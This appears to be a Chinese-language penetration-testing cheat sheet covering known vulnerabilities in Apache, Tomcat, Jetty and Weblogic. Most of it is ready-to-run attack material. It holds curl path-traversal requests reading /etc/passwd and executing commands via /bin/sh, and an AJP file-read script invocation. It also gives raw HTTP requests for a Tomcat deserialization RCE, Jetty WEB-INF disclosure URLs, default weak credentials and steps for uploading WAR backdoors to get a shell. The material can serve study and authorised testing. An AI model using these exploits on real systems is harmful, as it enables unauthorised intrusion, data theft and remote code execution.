Apache
SSRF(CVE-2021-40438)
Apache 在正常情况下,因为识别到了 unix 套接字(|前面),所以会把用户请求发送给这个本地文件套接字,而不是后端 URL (|后面)。我们不能让他把请求发送到 unix 套接字上,而是发送给我们需要的|后面的地址。
如果 ap_runtime_dir_relative 函数返回值是 null,则后面获取 uds_path 时将不会使用 unix 套接字地址,而变成普通的 TCP 连接。
那么如何让 ap_runtime_dir_relative 的返回值是 null?
ap_runtime_dir_relative函数最后引用了apr库中的 apr_filepath_merge 函数,它的主要作用就是路径的 join,用于处理相对路径、绝对路径、…/连接。这个函数中,当待join的两段路径长度+4大于 APR_PATH_MAX,也就是 4096 的时候,则函数会返回一个路径过长的状态码,导致最后unix 套接字的值是 null。
因此,我们只需要在unix:与|之间传入内容长度大概超过4092的字符串,就能构造出 uds_path为null 的结果,让 Apache 不再发送请求给 unix套接字。最后,这样构造出的请求成功触发SSRF漏洞:
路径穿越漏洞(CVE-2021-41773 CVE-2021-42013)
curl -v --path-as-is http://ip:port/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/
passwd
代码执行:
curl -v --data "echo;id" 'http://iP:port//cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%
%32%65/bin/sh'
Tomcat
控制台利用不当
控制台弱口令:tomcat/tomcat
登陆成功将后门文件打包成war上传到文件目录getshell
AJP文件包含漏洞(CVE-2020-1938)
Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
漏洞影响的产品版本包括
Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31
操作
命令行:python27 CNVD-2020-10487-Tomcat-Ajp-lfi.py 123.58.224.8 -p 14728 -f WEB-INF/web.xml
需要 python27 实战端口 8009
CNVD-2020-10487-Tomcat-Ajp-lfi.py
远程代码执行漏洞(CVE-2025-24813)
影响版本
11.0.0-M1 ≤ Apache Tomcat ≤ 11.0.2
10.1.0-M1 ≤ Apache Tomcat ≤ 10.1.34
前提条件
*满足以下条件,攻击者可以访问或修改安全敏感文件:
DefaultServlet 启用了写入权限(默认情况下禁用)。
服务器启用了 partial PUT(默认启用)。
该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用partial PUT上传文件)
攻击者已知目标敏感文件的路径以及文件名。
敏感文件是通过partial PUT上传的。
*满足以下条件,攻击者可以远程代码执行(RCE):
DefaultServlet启用了写入权限(默认情况下禁用)。
服务器启用了partial PUT(默认启用)。
Tomcat 使用了基于文件的Session持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。
应用程序包含可利用的反序列化漏洞库(如 Commons-Collections 3.x)。
操作
前期准备:yakit + java-chain
Yakit fuzzer:
1、提交序列化数据
PUT /deserialize/session HTTP/1.1
Host: ip:8080
Content-Length: 1234
Content-Range: bytes 0-5/10
{{base64dec(javachains项目生成序列化base64数据)}}
2、访问触发序列化
GET / HTTP/1.1
Host: ip:8080
Cookie: JSESSIONID=.deserialize
Jetty
一个开源的 servlet 容器,它为基于 Java 的 Web 容器提供运行环境。
信息泄露漏洞(CVE-2021-28169)
对带有双重编码路径的 ConcatServlet 的请求可以访问 WEB-INF 目录中的受保护资源
W url -> %57 ; % url -> %27
curl -v http://123.58.224.8:16187/static?/%2557EB-INF/web.xml
信息泄露漏洞(CVE-2021-34429)
可以使用一些编码字符来制作 URI 以访问 WEB-INF 目录的内容和 / 或绕过一些安全限制
Unicode 字符 .(U+002E) → UTF-16 编码为 0x002E → 非标准转换为 %u002e
在标准 URL 编码中,. 应直接表示为 . 或 %2e(ASCII 编码)
这种编码可能被用于绕过安全检查(如目录遍历攻击),因为某些过滤器可能无法识别非标准编码
curl -v http://123.58.224.8:18172/%u002e/WEB-INF/web.xml
Weblogic :7001
一个基于Java的企业级应用服务器
默认密码网站:https://cirt.net/passwords
进入之后,制作 1.jsp 后门文件 -> 制作war:jar cvf 1.war 1.jsp
部署概要->安装->制作war并上传->修改路由->访问
后续漏洞利用工具扫描
9.0.0.M1 ≤ Apache Tomcat ≤ 9.0.98